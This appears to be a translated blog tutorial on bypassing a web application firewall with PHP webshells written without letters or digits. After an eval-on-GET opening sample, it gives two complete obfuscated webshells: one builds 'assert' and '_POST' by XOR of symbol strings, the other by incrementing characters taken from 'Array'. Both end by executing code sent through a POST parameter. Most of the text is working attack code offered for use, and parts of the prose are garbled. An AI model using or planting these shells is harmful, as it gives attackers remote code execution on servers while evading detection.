[Bypass WAF] Php webshell without numbers and letters

Normally, you often write webshell that includes numbers and letter like below:

<?php

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

For bypass WAF, you can use some techniques to re-write your webshell.

Idea

First, clear ideas. My core idea is to non-letter, the characters of the characters through a variety of changes, and finally construct any az in the characters. And then use PHP to allow dynamic functions to perform the characteristics of splicing a function name, such as “assert”, and then the dynamic implementation of the.

So, the transformation method will be the main point to solve this problem.

But before that, I need to talk about the difference between php5 and 7.

Php5 assert is a function, we can use $f='assert';$f(...);this method to dynamically execute arbitrary code.

But php7, assert is no longer a function, into a language structure (similar to eval), can not be used as a function name dynamic implementation of the code, so use a little more complicated. But there is no need to worry too much, for example, we use the file_put_contents function, the same can be used to gethell.

For the sake of convenience, use PHP5 as the environment, PHP7 related to the use of their own way to explore it.

Method 1

This is the easiest and easiest way to think about it. In PHP, the two strings after the implementation of XOR operation, or a string. So, we want to get a letter in az, to find a two non-letter, the number of characters, their XOR results can be the letter.

Get the following results:

<?php

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

The results are as follows:

Method 2

Using PHP a little skill, look at the document: http://php.net/manual/en/language.operators.increment.php

PHP follows Perl’s convention when dealing with arithmetic operations on character variables and not C’s. For example, in PHP and Perl $a = ‘Z’; $a++; turns $a into ‘AA’, while in C a = ‘Z’; a++; turns a into ‘[‘ (ASCII value of ‘Z’ is 90, ASCII value of ‘[‘ is 91). Note that character variables can be incremented but not decremented and even so only plain ASCII alphabets and digits (a-z, A-Z and 0-9) are supported. Incrementing/decrementing other character variables has no effect, the original string is unchanged.

So, how to get a variable for the string ‘a’?

Coarse, the first letter of the array (Array) is capitalized A, and the fourth letter is lowercase a. In other words, we can get both lowercase and capitalized A, which means that we can get az and AZ all the letters.

In PHP, if you want to join arrays and strings, the array will be converted to a string whose value is Array:

And then take the first letter of the string, you can get ‘A’.

Using this technique, I wrote the following webshell (because the PHP function is case insensitive, so we end up doing it ASSERT($_POST[_]):

<?php

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);